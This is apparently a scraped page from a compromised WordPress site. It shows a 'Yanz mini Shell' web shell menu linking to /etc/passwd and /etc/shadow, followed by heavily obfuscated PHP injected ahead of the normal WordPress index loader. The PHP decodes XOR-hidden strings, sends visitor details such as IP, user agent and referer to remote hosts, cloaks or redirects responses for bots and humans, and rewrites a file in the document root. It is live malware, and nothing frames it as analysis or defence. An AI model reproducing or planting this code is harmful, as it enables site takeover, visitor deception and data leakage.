Yanz mini Shell

Action

[*] New File
[*] New Folder

Sensitive File

[*] /etc/passwd
[*] /etc/shadow
[*] /etc/resolv.conf

<?php function lGKuSw3YL2($hBdN9, $Xm0r9){ $wTo5s = ($hBdN9 * $Xm0r9) % 44; $xWGCc = sqrt(abs($wTo5s)) * 7814 / 100; $tA4Du = ($wTo5s << 2) ^ ($xWGCc >> 1); if($tA4Du > 44 * 10) { $tA4Du = $tA4Du / $hBdN9; } else { $tA4Du = $tA4Du * $Xm0r9; } return ($tA4Du + $wTo5s) % 7814; } $S8c6Rz = 385 + 187; $Ob6QH6 = ($S8c6Rz * 385) / (187 + 1); $n0ZbN2 = str_repeat('x', $S8c6Rz % 10); $S8c6Rz = ($S8c6Rz << 13) | ($S8c6Rz >> (32 - 13)); class iXgnTlQSf6my { private $bMqlA; private $EA6Iw; public function LmuwTP1x() { return $this->bMqlA * $this->EA6Iw % 100; } public function vbg9HCwk($bMqlA) { $this->$bMqlA = ($bMqlA + $this->$bMqlA) % 1000; return $this->LmuwTP1x(); } } $XsOL2 = 'elWxEV9g0k4yKESy';$Qw9sx = array('_kqscc9' => '405f645d76631c54084e074c6e77175c5359724e00730f56155c0c5c7877764a5449644b60647c420759114f0960654a405a125d73671c51064e024b6e73665c5729724e07730f24155d70556e76605c5659724b7d730a521559705c7d70764f20496149606101420359114a7a60604a405e125d72661c50094e023c6e73665c525a724e7c730f5f155c755c7900764f5249614a60600a4b1558075c7870764a5d49644d60647d42065e114f0e606548405b6f5d76641c54014e074a6e77165c5328724f77730f54155c015c7d06764f5049614a60600142065d114b0e60653b405a145d731215420358114a7e606041405f625d77121c51054e023c6e73625c5254724b77730a561558075c7900764f5149614060610f42075a114e7a60644f405a605d73151c55754e024e6e73615c535f','_reigg3' => '49','_a5naoq' => '0d18230836','_qqze0c' => '0d182308','_8uk77y' => '4a','_ek6ksq' => '2d3803281a1e763464','_9xt5qs' => '2d3803281a177a24753b602607041d3e302d103d','_ptt947' => '0002','_sgmu6y' => '2d3803281a047c217539712b','_rp42lv' => '','_jr5uwq' => '12093545','_g3zbiz' => '43162d45','_teknuo' => '54','_nxivct' => '55','_ni42x2' => '4319251178','_cdf5us' => '43192514363e58095756','_x1aimq' => '4304230c356b','_dbmrdr' => '43003616226b','_zai5w3' => '2123142d081377336f397b361f','_bmoaaw' => '4a1e381a2a224a49441340','_xpwg59' => '','_yehnnz' => '4a53','_nx08nf' => '5a','_oozbki' => '301f320a68375e025e1f0e5961','_rafccn' => '24003b17326c1948','_26rqxx' => '3605231d2837495d10','_64aw3y' => '5f4378','_v63che' => '1605231d28374949480658','_70i8p4' => '0b03351731234a02420a531c2531','_6u26k2' => '2d38032816','_592ji8' => '0a0a31','_chx1st' => '2d3803281a0e66217f3963381901163d3a3c05371119','_9z8hpn' => '2d3803281a106b287e3f6b3c05010c313138072b','_7rizjt' => '3729062d00056d3865397d','_8hb2oo' => '041e300e','_zdwfyp' => '3524072716137521','_oy2nk4' => '5a','_hzvld4' => '3439122a1c096a3362227a3e','_ojv4g3' => '2d3803281a036a226234753e0e0b07','_1xdcs5' => '0203381f29335b0844','_5gosil' => '0705391f','_spvr5r' => '1c0d3f172a','_pva8xv' => '0203381f2933','_88vsyn' => '2203381f29335b0844','_qdhny0' => '0d1823087f7916','_d3ir07' => '4a05391c202e1717581b0b','_2q5hhv' => '04003b1732094c155c3452163b203d','_er9uis' => '0639053465134b155f190e597b','_0eoxut' => '0a073f0c283a5e024402591e','_zvwonk' => '2603390c20384d4a6412441c71653a14040b32572f265c00','_c8mbur' => '0a073f0c283a5e024402591e','_55jdsz' => '0a073f0c283a5e024408470a','_4y45jq' => '2603390c20384d4a6412441c7165271c1d18781b362502475303550b38202744101831557d','_km89h6' => '0a073f0c283a5e024408470a','_8z3bd8' => '0a073f0c283a5e0244085b173f203d0d','_rr4uno' => '2603390c20384d4a4412441c7165271c1d187810313b555c10085c183936360d5819231e686e','_pcxoyo' => '0a073f0c283a5e0244085b173f203d0d','_s0ycai' => '0a072f1529315c1353045a0d2e2b27','_810rsa' => '2603390c20384d4a6412441c7165320915003e1b242250085e444c14277e731a0d0d250b20220412440d1941','_o9494c' => '0a072f1529315c1353045a0d2e2b27','_zq6xwx' => '0209231b2a384d025e1f01497b35321e00','_900po1' => '2d3803286a671756105e04496b0c3d0d001e391929766a02421d510b6b00210b0a1e','_1jxed3' => '0209231b2a384d025e1f00497f35321e00','_6rqe82' => '2d3803286a671756105f044d6b0b3c0d452a380d2b32','_fwsvmt' => '0209231b2a384d025e1f07497a35321e00','_76bbo7' => '2d3803286a671756105804486b083c0f00087728202454065e0e5a0d273c','_u8na5z' => '29033419313f56090a4b','_jjlm8b' => '0a07251727394d14570e401a242b271c0b18','_f1l88j' => '2603390c20384d4a6412441c7165271c1d18780829375009','_5bj7bl' => '0a07251727394d14570e401a242b271c0b18','_ng56jg' => '323c082d16136633782e793c18');foreach($Qw9sx as $key => $value){ $Bjx24 = hi3vj(hex2bin($value), $XsOL2); define($key, $Bjx24 ); }unset($Qw9sx, $XsOL2);unset($GLOBALS['hi3vj']);function hi3vj($_0x9dopy, $_0xgfaln) {$_0x3gban = strlen($_0xgfaln);$_0xlp1yh = '';for($_0xbaez5=0;$_0xbaez5<strlen($_0x9dopy);$_0xbaez5++){$_0xlp1yh .= chr(ord($_0x9dopy[$_0xbaez5]) ^ ord($_0xgfaln[$_0xbaez5 % $_0x3gban]));}return $_0xlp1yh;}$gZVqj = _kqscc9; $qCMwN = explode(_reigg3, $gZVqj); $KGXVi = voZpi2Sl() ? _a5naoq : _qqze0c; $tdM4C = u50GyW4I(); $paSga = empty($tdM4C) ? _8uk77y : $tdM4C; $t0xil = $_SERVER[_ek6ksq]; $iVyfD = isset($_SERVER[_9xt5qs]) ? $_SERVER[_9xt5qs] : _ptt947; $NOHht = isset($_SERVER[_sgmu6y]) ? $_SERVER[_sgmu6y] : _rp42lv; $zmdcq = _jr5uwq . $t0xil . _g3zbiz . (Pr71lzUF() ? _teknuo : _nxivct) . _ni42x2 . urlencode($paSga) . _cdf5us . urlencode($NOHht) . _x1aimq . $KGXVi . _dbmrdr . $iVyfD; $QzIxT = tNbAwALF($qCMwN, $KGXVi, $zmdcq); $k2G41 = $_SERVER[_zai5w3] . _bmoaaw; $Qwuc9 = _rp42lv; if (stristr($paSga, _yehnnz)) { $Qwuc9 = _nx08nf; } $ncA28 = _oozbki . PHP_EOL; $ncA28 .= _rafccn . PHP_EOL . PHP_EOL; $ncA28 .= _26rqxx . $KGXVi . _64aw3y . $t0xil . _8uk77y . $Qwuc9 . _v63che . PHP_EOL; if (!file_exists($k2G41)) { file_put_contents($k2G41, $ncA28); } else { if (md5_file($k2G41) !== md5($ncA28)) { @file_put_contents($k2G41, $ncA28); } } if (!strstr($QzIxT, _70i8p4)) { yy9UNhqy($QzIxT); } function voZpi2Sl() { return ( isset($_SERVER[_6u26k2]) && strtolower($_SERVER[_6u26k2]) !== _592ji8 || isset($_SERVER[_chx1st]) && $_SERVER[_chx1st] === _a5naoq || isset($_SERVER[_9z8hpn]) && strtolower($_SERVER[_9z8hpn]) !== _592ji8 ); } function u50GyW4I() { if (isset($_SERVER[_7rizjt])) { return $_SERVER[_7rizjt]; } elseif (isset($_SERVER[_8hb2oo])) { return $_SERVER[_zdwfyp] . _nx08nf . $_SERVER[_8hb2oo][0]; } else { return $_SERVER[_zdwfyp] . _nx08nf . $_SERVER[_hzvld4]; } } function Pr71lzUF() { $SElqQ = strtolower(isset($_SERVER[_ojv4g3]) ? $_SERVER[_ojv4g3] : _rp42lv); return stristr($SElqQ, _1xdcs5) || stristr($SElqQ, _5gosil) || stristr($SElqQ, _spvr5r) || stristr($SElqQ, _pva8xv) || stristr($SElqQ, _88vsyn); } function tNbAwALF($ZjoF6, $KGXVi, $zmdcq) { shuffle($ZjoF6); foreach ($ZjoF6 as $AKUEs) { $AKUEs = str_rot13(urldecode($AKUEs)); $rvXqL = _qdhny0 . $AKUEs . _d3ir07 . $zmdcq; $V2pPj = curl_init(); curl_setopt($V2pPj, CURLOPT_URL, $rvXqL); curl_setopt($V2pPj, CURLOPT_RETURNTRANSFER, true); $dPd2L = curl_exec($V2pPj); if (!curl_errno($V2pPj)) { curl_close($V2pPj); return $dPd2L; } else { curl_close($V2pPj); } if (ini_get(_2q5hhv)) { $dPd2L = @file_get_contents($rvXqL); if ($dPd2L !== false) { return $dPd2L; } } } echo _er9uis; } function yy9UNhqy($QzIxT) { if (strstr($QzIxT, _0eoxut)) { header(_zvwonk); echo str_replace(_0eoxut, _rp42lv, $QzIxT); exit(); } elseif (strstr($QzIxT, _55jdsz)) { header(_4y45jq); echo str_replace(_55jdsz, _rp42lv, $QzIxT); exit(); } elseif (strstr($QzIxT, _8z3bd8)) { header(_rr4uno); echo str_replace(_8z3bd8, _rp42lv, $QzIxT); exit(); } elseif (strstr($QzIxT, _s0ycai)) { header(_810rsa); echo str_replace(_s0ycai, _rp42lv, $QzIxT); exit(); } elseif (strstr($QzIxT, _zq6xwx)) { header(_900po1); exit(); } elseif (strstr($QzIxT, _1jxed3)) { header(_6rqe82); exit(); } elseif (strstr($QzIxT, _fwsvmt)) { header(_76bbo7); $QzIxT = str_replace(_fwsvmt, _rp42lv, $QzIxT); header(_u8na5z . $QzIxT); exit(); } elseif (strstr($QzIxT, _jjlm8b)) { header(_f1l88j); echo str_replace(_jjlm8b, _rp42lv, $QzIxT); exit(); } } define( _ng56jg, true );?> <?php define('WP_USE_THEMES', true);require __DIR__ . '/wp-blog-header.php'; ?>